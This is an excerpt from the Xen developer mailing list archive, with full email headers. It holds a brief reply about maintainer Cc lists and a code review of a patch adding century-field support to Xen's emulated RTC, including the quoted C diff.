 b=MeIZXjURW9mTRyqMC5avq1nxFmiD80vBeyjIRzUa6emlwQJldf+qN6Fe3t9fAFizzHSShtDhBtR8c3H0q0/PgPxLQ8yp6wiCcHRWt1VgXPB0KS14FG1hNn7HVeSiKs0IUKTMF6au8SOQOxfBZuUuNfJuPwzEbQ5jPpqkh+NyvK6AFr8NhYoCF6zAr6VLk57WLtCfZyRotBNst8pOS+4IRiTWBkqM4IaGNvoZYTbcX+VaIorKiI3ILSByd83nAQi7wWWx8+QhWeVspMcacfnOGNH23UMU/sxdQnNla0DFz+a5vnEJdNU+6D7RF4xK2O556MWSnpB7SQ/3s+kWt5uF1w==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=suse.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=v6A/lJcckBS5ybsYyiW0cHjG+vGGs59Ltu1sLMOCZt8=;
 b=D67kvEzxKrccpm4YTUGNvWAvLy6G1O+N/UzeoNvSx/juNMwHqwjVvyo4G1Xj+tBNROILeBiUl2W/LabhRVMzUiV0EkazdM6SjuorxxCBavBefm/pc55RPYtcZFnbuZVYKot5JOUlkwhuYOPo5mTWl72ydW9w1LWVarrFznuUvwo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=BT/29QSsTqgmyLJjcQvqH6gdocFjnxztCrRaoyh6Bh0+TUyFLhPlvtbvkse+wTMQEdr1sc0aQsGatbg82SCzpjRyZ7Wdbcz4gGRnt0ieZb14nuigxFKvgKcPXO5rAc9QbY7Cu2H1vMYQzri9N4lZWLTiksoAJtquQ3GOmIJKHbWxprmy3xm6Wlmu05Tzrne5dKQpaz8Ye5zZSdmP997mGlZ5kKyeXeHz8tvq16OCk2XbFLkrDQ9IV/G+YfrP4/4krEWsJ7Yr3Jf9wR+bfK9HkFNXFwpN1B6YranBbZxQ4JzLF+rr5UIQ4mN6Sz1pkufCXz8iJFhnLi/K1doMMXjSbA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=v6A/lJcckBS5ybsYyiW0cHjG+vGGs59Ltu1sLMOCZt8=;
 b=qckZcPuwkGIBMSndfxrOgpP8C8oM7JbN33DfHmmdwKhROLMtlzPgsV7dY5bcK3jeoBsDKwoKUHVV32+iR6q9M4sdpIDQekoqeZ6TYcCfE+AM32DHZ4sCaR4IQanVDLtLAcYiBuUGIB1xHjPcowjDAEf75m+WmJgmgiBOuwWRXYnRhZOxVF56EMU5vECMhsC0x9hwDz0eMEGOmsi4HwDlp/+np9lSBh5VUeYBJ5W04VhxC7otXjw6UlqeshR3DeWp+wLJ3lc6/RSpUjOcHW+3r0eBOIu2Ypdk3dm2AJzGs3BUc4ES2ELORKVa7iyOuQIh8/z+8tMgjiA7uzxz4OJjmQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=v6A/lJcckBS5ybsYyiW0cHjG+vGGs59Ltu1sLMOCZt8=;
 b=D67kvEzxKrccpm4YTUGNvWAvLy6G1O+N/UzeoNvSx/juNMwHqwjVvyo4G1Xj+tBNROILeBiUl2W/LabhRVMzUiV0EkazdM6SjuorxxCBavBefm/pc55RPYtcZFnbuZVYKot5JOUlkwhuYOPo5mTWl72ydW9w1LWVarrFznuUvwo=
From: Bertrand Marquis <Bertrand.Marquis@arm.com>
To: Jan Beulich <jbeulich@suse.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: Re: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
Thread-Topic: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
Thread-Index: AQHdD+86KiGaaKUFxUq/ExJkJRYMb7aELDIAgAAHPYCAAAqwAA==
Date: Wed, 29 Jul 2026 07:51:11 +0000
Message-ID: <A615221A-2502-41A1-9D09-5A4460FB6D1E@arm.com>
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <07327966-7E81-44CA-A1EA-F227C1C9EA51@arm.com>
 <bb802772-c960-4c9d-bd90-78979d7c7fc4@suse.com>
In-Reply-To: <bb802772-c960-4c9d-bd90-78979d7c7fc4@suse.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	PR3PR08MB5593:EE_|PAXPR08MB7599:EE_|AMS0EPF000001AC:EE_|GVXPR08MB11714:EE_
X-MS-Office365-Filtering-Correlation-Id: 813b49fe-be9f-433e-8f51-08deed464ef6
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|4143699003|10067099003|56012099006|11063799006|18002099003|22082099003|38070700021;
X-Microsoft-Antispam-Message-Info-Original:
 9nc2+GhH6k0qpjhVRhpkYH4zQf4gxsAdQjQhaRxCxYgVAb0sCD1wsrlO/tGuBNAeGcaBq5PxQX/2E+4dFA0tWuNY0iMe2ih50XwwmEVN/5tY4yrYdLtMqYv/u4kLHFvmldvTdwo38g42cCRrT7CukQy4u+iJhzNJJLSggXi076kRe+t1cyLznhDbg7zogZNGH1n+SzNSNRyJaYY3RdkmNPJHOKp3NgP+fXhgvWKdniZXMycejvl21tfVEZSSTlUvictBhKZ642aNhYztoWaUPNTdg+XRC/HFcDKUZ5NugH6PQ490jX2sD0bopBXvTh9lWhGNGbpQI6QtOaHTI1XX63EgoUeB0bCgE1p/Zo0zjV0LVQNe0+ke79vG5bJTp1X6abaUgj14OqMC4n1tf0ABj5dvo53pAkEthWArPvWhGknou1bWvr/r9YbQPoktT0Qw2T4cLWUoWmi4mK71xwkhW+t8Vv4k1Y3aiYTSwW5XTnOMqarO32WYrGTfhldRiNNJPOmclMO6BSVGvJuCiZZGMLuMO2kT1gSu7Rr5+yyTpiOGLgCwUkmhQYNSShvDKfZwwDxVeh+gxj0SVxSGwxGxGdtepp1yw0kUo/bPSeh5ZvodH4rsDuR/Jkiis1pD2dvrN+iYui8NdYu7zyIYkBSH9CPEHRRpZI6DadbnUT6hQ+wpTQaD187U5Q81YoeDExC7V/4klvFHmWCqJre/XSy4sznboXf2WVNfZg1qg+8As1w=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:PR3PR08MB5593.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(4143699003)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="us-ascii"
Content-ID: <CA03AA5221765C4EAA41EBA43731F9ED@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 VE7muDRx2Q1LLyBdq133mNbNptswwm2oGgD5tR60RHS8MK79f58rU1wIkTemck2CPz95PL+FzRqXrpCDkFHcOqaSVOVFTq9PiMFUUOkjA6z/McS++I/Iw9mTJ+J7BVby5pQAWnCJ986OzDO4KP4i6kq3xpvPIh9Yv4+axoLDdmz1cQkSL8NDtZ4n7a/LYXwXHLJeaN/XcCWjV5z31w+mlZM3pLmgf1QsTNRrDvOdhn4y+Z9bnvKM+Fa9o0WHkj9qrMm5xM0iQLxKZ4iPxDaGEr/b0hJTjvfZT0sw89tzljSG+ajWfP/xtcehEqftaJKg1lZ8fFqbUUEo2OiMHQ+Izg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAXPR08MB7599
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AMS0EPF000001AC.eurprd05.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	4ebaa8b8-957b-473e-222a-08deed462854
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|14060799003|1800799024|82310400026|35042699022|36860700016|376014|18002099003|22082099003|4143699003|11063799006|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	FQX653fxb1bzbG8VCqUGN/1Hf4Xx/UBznYvvFvx2yyh2kvrya21etPMFtX/CEgPHfbFLdBsy13PLw6LGLd/agzzWZ5E0/7QWDBts/Pn5t33HQ/n9RwcXXOyHD9ut5IMXuG5j1ThJFJPI4ODbuGb3c0zGnDD7QvLYfDCkifaK5Z+23gbM2HE/50KYcN8MVisLLqIcXA5OqOB3x5hn37Kfb9lmspKGiegjcGe/SzzIRgRoVJnekCa4RpB1hsLvJ4zFBTwE2QUSHfIWL5ecyIY/lWdnqKXKaBuglQsaOC2eQiicfU1cOA/JXePcoEuoonaXteC2UPauVpv52+WWFo97iZy000nJg2maMQ2yPemq6rYsfc8bVOdPFkc63KtUFZLTD1sZLuh9KNVVhk5c/FdOngxV/zrrN/4TlPy0jytBV/5ymOaFNNgT9x910JJGO8O1/Y2peHh8bMJk2mB2orFBy7z7c5QBJXnKMcm6/bwvwnNeAmdOv6kfzWeWlm52EFiC6RjviWzN068Ky8QJU1Px3VdWHfVMelskti8MZzsARa1tNeMfYJPXbCIZdcBFOiqV8M9J4tizvyBF3MflNLFneNQJGKcStnBBMOgbvDNOiqUSIYB77u07XsbapuaHnyVCTCBlsgLZp9+S+CuXOyRlhOYaPubd7Ol4QYQxUSkJVGVt9YAnjuciLPFKqWn2z8dQLD6lFRJCRE1llcmgDcCdKw==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(14060799003)(1800799024)(82310400026)(35042699022)(36860700016)(376014)(18002099003)(22082099003)(4143699003)(11063799006)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	amFJnWhs9qOgznKV2Hz6D4pnMVPv/bmlHzEs1FUxMr7wzUPKAXZN8gJWdoCLBEdg73Bf3WdVxlW0924uS/WZs5AM+kxvMiINBEq7oC3SXuW5jxMdcEzFCxfCtOyu3Iiurtz+PdoQpgkjvD5zJiX0EH3kbhoT2zJc8oi9wY4fjyOtkr0wOEDEIQolTOKdt0p+6Wbf6fX4mExzRb35D1AJ4b1cU3LPxbQIDHW7LJoOOXKM7Q2DV/OAU6kj/BtXXmiPtzjLUsENK3ng9DgNh5v9qRq5jv4d7jeBRVCVUhAbTPPELRFRgd4OVmC3/IfXotmfQdIncgyow3YMFeyXRF4jp/yiXAWQTNBvTCekquIC/9Cjb7tVfOcFZJ+1+cCui/LjARH4FxXRP2Xs9bEM3TmnWjnaW2RDIZXO/K23elP5nlUU8e38v0Ry1myosGNF5v+G
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 07:52:16.0610
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 813b49fe-be9f-433e-8f51-08deed464ef6
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AMS0EPF000001AC.eurprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GVXPR08MB11714
X-purgate-ID: tlsNG-c201ff/1785311540-72CB02A1-2C3D1CCE/0/0
X-purgate-type: clean
X-purgate-size: 535

Hi Jan,

> On 29 Jul 2026, at 09:12, Jan Beulich <jbeulich@suse.com> wrote:
>=20
> On 29.07.2026 08:47, Bertrand Marquis wrote:
>> Please use the add_maintainers.pl script before sending to make sure the=
 right maintainers
>> are in copy of your patches otherwise some might miss your patches.
>=20
> The Cc list on this cover letter is pretty short, yes, but the individual=
 patches
> look to have appropriate Cc lists, and I guess that's what matters for no=
t missing
> anything?

Ack

Bertrand

>=20
> Jan



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 08:45:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 08:45:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375309.1622493 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wozub-0005h1-0U; Wed, 29 Jul 2026 08:45:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375309.1622493; Wed, 29 Jul 2026 08:45:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wozua-0005gu-TM; Wed, 29 Jul 2026 08:45:12 +0000
Received: by outflank-mailman (input) for mailman id 1375309;
 Wed, 29 Jul 2026 08:45:12 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wozua-0005go-7h
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:45:12 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wozua-00F9ZA-0a;
 Wed, 29 Jul 2026 08:45:11 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wozuZ-000azn-1i;
 Wed, 29 Jul 2026 08:45:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Wed, 29 Jul 2026 10:45:05 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 4/4] x86/vRTC: support century field
Message-ID: <amm9kWntPk1ZVUJi@macbook.local>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
 <eee7754d-a7ef-477c-a74d-2104291103bb@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <eee7754d-a7ef-477c-a74d-2104291103bb@suse.com>

On Thu, Jul 02, 2026 at 11:31:14AM +0200, Jan Beulich wrote:
> Both ROMBIOS and SeaBIOS (with CONFIG_QEMU=y, as we build it) blindly
> assume availability of this field (at its conventional index 0x32); OVMF
> at least has code to inspect FADT. Hence we ought to have supported it
> virtually forever.
> 
> As the index is beyond RTC_CMOS_SIZE, leverage the padding field in
> struct hvm_hw_rtc to hold its value. Update the field only when involved
> values are valid BCD century specifiers. Otherwise (for VMs migrated in
> from an older hypervisor) leave handling to the DM.
> 
> This makes the Linux rtc-cmos driver report y3k compatibility.
> 
> In the new rtc_check(), besides checking the new fields also check the
> pre-existing pad0 field.
> 
> While extending xen-hvmctx.c:dump_rtc() also add RTC offset there.
> 
> Fixes: 4ca161214355 ("[HVM] Move RTC emulation into the hypervisor")
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

> ---
> Am I overly paranoid with the checking of the field, considering that
> Xen 3.x post-dates year 2000 and hence all firmware nowadays usable guests
> have ever run with should have been aware of the field? Or am I, quite the
> opposite, still not strict enough?

I think the checking is likely fine.

> Now that we extend struct hvm_hw_rtc, should we perhaps save not only the
> century, but also its index?

Hm, possibly for correctness, albeit I think this is unlikely to cause
issues.  Likely better done in a separate patch?

> 
> Likely more sanity checking could be added to rtc_check(), but that's for
> a separate patch imo.
> 
> Isn't day-of-week handling flawed? If the field is brought out of sync
> with the other values, shouldn't it stay respectively out-of-sync?

I don't know that much about the RTC TBH.

> And
> isn't it excessive overhead to go through rtc_set_time() when the field
> is updated while SET is clear?

I think this is done because we don't call rtc_set_time() when RTC_SET
is activated in RTC_REG_B?  We would need to change the logic a bit.
Is there a reason to propagate the changes to the DM even when SET is
not active?

> Perhaps we ought to also support alarm day/month features?
> ---
> v2: Don't re-purpose pad0 field of struct hvm_hw_rtc.
> 
> --- a/tools/libacpi/static_tables.c
> +++ b/tools/libacpi/static_tables.c
> @@ -33,6 +33,8 @@ struct acpi_20_facs Facs = {
>  #define ACPI_PM_TMR_BLK_BIT_WIDTH           0x20
>  #define ACPI_PM_TMR_BLK_BIT_OFFSET          0x00
>  
> +#define CMOS_CENTURY 0x32 /* Conventional index used also without ACPI */
> +
>  struct acpi_fadt Fadt = {
>      .header = {
>          .signature    = ACPI_FADT_SIGNATURE,
> @@ -88,7 +90,9 @@ struct acpi_fadt Fadt = {
>          .register_bit_width  = ACPI_PM_TMR_BLK_BIT_WIDTH,
>          .register_bit_offset = ACPI_PM_TMR_BLK_BIT_OFFSET,
>          .address             = ACPI_PM_TMR_BLK_ADDRESS_V1,
> -    }
> +    },
> +
> +    .century = CMOS_CENTURY,
>  };
>  
>  struct acpi_20_rsdt Rsdt = {
> --- a/tools/misc/xen-hvmctx.c
> +++ b/tools/misc/xen-hvmctx.c
> @@ -311,7 +311,7 @@ static void dump_rtc(void)
>      printf("              0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x, index 0x%02x\n",
>             r.cmos_data[8], r.cmos_data[9], r.cmos_data[10], r.cmos_data[11], 
>             r.cmos_data[12], r.cmos_data[13], r.cmos_index);
> -
> +    printf("         century 0x%02x  offset %"PRId64"\n", r.century, r.rtc_offset);
>  }
>  
>  static void dump_hpet(void)
> --- a/xen/arch/x86/hvm/rtc.c
> +++ b/xen/arch/x86/hvm/rtc.c
> @@ -482,16 +482,27 @@ static int rtc_ioport_write(void *opaque
>          data &= 0x7f;
>          s->hw.cmos_index = data;
>          spin_unlock(&s->lock);
> -        return (data < RTC_CMOS_SIZE);
> +        return data < RTC_CMOS_SIZE || (s->has_century && data == RTC_CENTURY);
>      }
>  
> -    if ( s->hw.cmos_index >= RTC_CMOS_SIZE )
> +    switch ( s->hw.cmos_index )
>      {
> +    case 0 ... RTC_CMOS_SIZE - 1:
> +        orig = s->hw.cmos_data[s->hw.cmos_index];
> +        break;
> +
> +    case RTC_CENTURY:
> +        if ( s->has_century )
> +        {
> +            orig = s->hw.century;
> +            break;
> +        }
> +        fallthrough;
> +    default:
>          spin_unlock(&s->lock);
>          return 0;
>      }
>  
> -    orig = s->hw.cmos_data[s->hw.cmos_index];
>      switch ( s->hw.cmos_index )
>      {
>      case RTC_SECONDS_ALARM:
> @@ -507,6 +518,7 @@ static int rtc_ioport_write(void *opaque
>      case RTC_DAY_OF_MONTH:
>      case RTC_MONTH:
>      case RTC_YEAR:
> +    case RTC_CENTURY:
>          /* if in set mode, just write the register */
>          if ( (s->hw.cmos_data[RTC_REG_B] & RTC_SET) )
>              s->hw.cmos_data[s->hw.cmos_index] = data;
> @@ -515,7 +527,10 @@ static int rtc_ioport_write(void *opaque
>              /* Fetch the current time and update just this field. */
>              s->current_tm = gmtime(get_localtime(d));
>              rtc_copy_date(s);
> -            s->hw.cmos_data[s->hw.cmos_index] = data;
> +            if ( s->hw.cmos_index != RTC_CENTURY )
> +                s->hw.cmos_data[s->hw.cmos_index] = data;
> +            else
> +                s->hw.century = data;
>              rtc_set_time(s);
>          }
>          alarm_timer_update(s);
> @@ -591,7 +606,16 @@ static void rtc_set_time(RTCState *s)
>      tm->tm_wday = from_bcd(s, s->hw.cmos_data[RTC_DAY_OF_WEEK]);
>      tm->tm_mday = from_bcd(s, s->hw.cmos_data[RTC_DAY_OF_MONTH]);
>      tm->tm_mon = from_bcd(s, s->hw.cmos_data[RTC_MONTH]) - 1;
> -    tm->tm_year = from_bcd(s, s->hw.cmos_data[RTC_YEAR]) + 100;
> +    tm->tm_year = from_bcd(s, s->hw.cmos_data[RTC_YEAR]);
> +    if ( s->has_century )
> +    {
> +        unsigned int century = s->hw.century;
> +
> +        BCD_TO_BIN(century);
> +        tm->tm_year += century * 100 - epoch_year;
> +    }
> +    else
> +        tm->tm_year += 100;
>  
>      after = mktime(get_year(tm->tm_year), tm->tm_mon + 1, tm->tm_mday,
>                     tm->tm_hour, tm->tm_min, tm->tm_sec);
> @@ -629,6 +653,12 @@ static void rtc_copy_date(RTCState *s)
>      s->hw.cmos_data[RTC_DAY_OF_MONTH] = to_bcd(s, tm->tm_mday);
>      s->hw.cmos_data[RTC_MONTH] = to_bcd(s, tm->tm_mon + 1);
>      s->hw.cmos_data[RTC_YEAR] = to_bcd(s, tm->tm_year % 100);
> +
> +    if ( s->has_century )
> +    {
> +        s->hw.century = get_year(tm->tm_year) / 100;
> +        BIN_TO_BCD(s->hw.century);
> +    }
>  }
>  
>  static int update_in_progress(RTCState *s)
> @@ -663,13 +693,17 @@ static uint32_t rtc_ioport_read(RTCState
>      case RTC_DAY_OF_MONTH:
>      case RTC_MONTH:
>      case RTC_YEAR:
> +    case RTC_CENTURY:
>          /* if not in set mode, adjust cmos before reading*/
>          if (!(s->hw.cmos_data[RTC_REG_B] & RTC_SET))
>          {
>              s->current_tm = gmtime(get_localtime(d));
>              rtc_copy_date(s);
>          }
> -        ret = s->hw.cmos_data[s->hw.cmos_index];
> +        if ( s->hw.cmos_index != RTC_CENTURY )
> +            ret = s->hw.cmos_data[s->hw.cmos_index];
> +        else
> +            ret = s->hw.century;
>          break;
>      case RTC_REG_A:
>          ret = s->hw.cmos_data[s->hw.cmos_index];
> @@ -718,7 +752,8 @@ static int cf_check handle_rtc_io(
>          *val = 0xff;
>          return X86EMUL_OKAY;
>      }
> -    else if ( vrtc->hw.cmos_index < RTC_CMOS_SIZE )
> +    else if ( vrtc->hw.cmos_index < RTC_CMOS_SIZE ||
> +              (vrtc->has_century && vrtc->hw.cmos_index == RTC_CENTURY) )
>      {
>          *val = rtc_ioport_read(vrtc);
>          return X86EMUL_OKAY;
> @@ -760,6 +795,32 @@ static int cf_check rtc_save(struct vcpu
>      return rc;
>  }
>  
> +static int cf_check rtc_check(const struct domain *d, hvm_domain_context_t *h)
> +{
> +    const struct hvm_save_descriptor *desc =
> +        (const struct hvm_save_descriptor *)&h->data[h->cur];
> +    struct hvm_hw_rtc s;
> +
> +    if ( !has_vrtc(d) )
> +        return -ENODEV;
> +
> +    if ( hvm_load_entry_zeroextend(RTC, h, &s) != 0 )
> +        return -ENODATA;
> +
> +    if ( s.pad0 )
> +        return -EINVAL;
> +
> +    for ( unsigned int i = 0; i < ARRAY_SIZE(s.pad1); ++i )
> +        if ( s.pad1[i] )
> +            return -EINVAL;
> +
> +    if ( desc->length >= endof_field(struct hvm_hw_rtc, century) &&
> +         ((s.century & 0xf) >= 10 || (s.century >> 4) >= 10) )
> +        return -EINVAL;

It would be nice to also set ->has_century here, but the s struct is
a temporary stack allocation.

> +
> +    return 0;
> +}
> +
>  /* Reload the hardware state from a saved domain */
>  static int cf_check rtc_load(struct domain *d, hvm_domain_context_t *h)
>  {
> @@ -793,12 +854,18 @@ static int cf_check rtc_load(struct doma
>      check_update_timer(s);
>      alarm_timer_update(s);
>  
> +    if ( !s->hw.century )
> +    {
> +        s->has_century = false;
> +        s->hw.century = 0;

Isn't this last line pointless?  The if condition is !s->hw.century,
and hence s->hw.century must be 0 here?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 08:46:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 08:46:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375328.1622503 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wozvx-0006Bz-9j; Wed, 29 Jul 2026 08:46:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375328.1622503; Wed, 29 Jul 2026 08:46:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wozvx-0006Bs-6D; Wed, 29 Jul 2026 08:46:37 +0000
Received: by outflank-mailman (input) for mailman id 1375328;
 Wed, 29 Jul 2026 08:46:36 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wozvw-0006Bm-70
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:46:36 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wozvv-00F9cl-0O;
 Wed, 29 Jul 2026 08:46:34 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wozvu-000bQd-1H;
 Wed, 29 Jul 2026 08:46:34 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=nj+et3OSGGYAFRA0r1IUrdBkqK6BMB3wCbLI+mum6us=; b=1nX5rjakvJdXOX8jE95eaxzSav
	Emj8RkyRJ4uA8SoxkzOOMmYn72x1Jpxr8f3Eji5hp5AMsamep7SB51VHntqWmGzS9ODF7KAyw1XlP
	iehYIJA0JW3TvWCk+7WO5GwfKsefSpCYmD+S1e6uqMAvYQRO8Ppop2yvYgVcz0wbliVM=;
Date: Wed, 29 Jul 2026 10:46:28 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
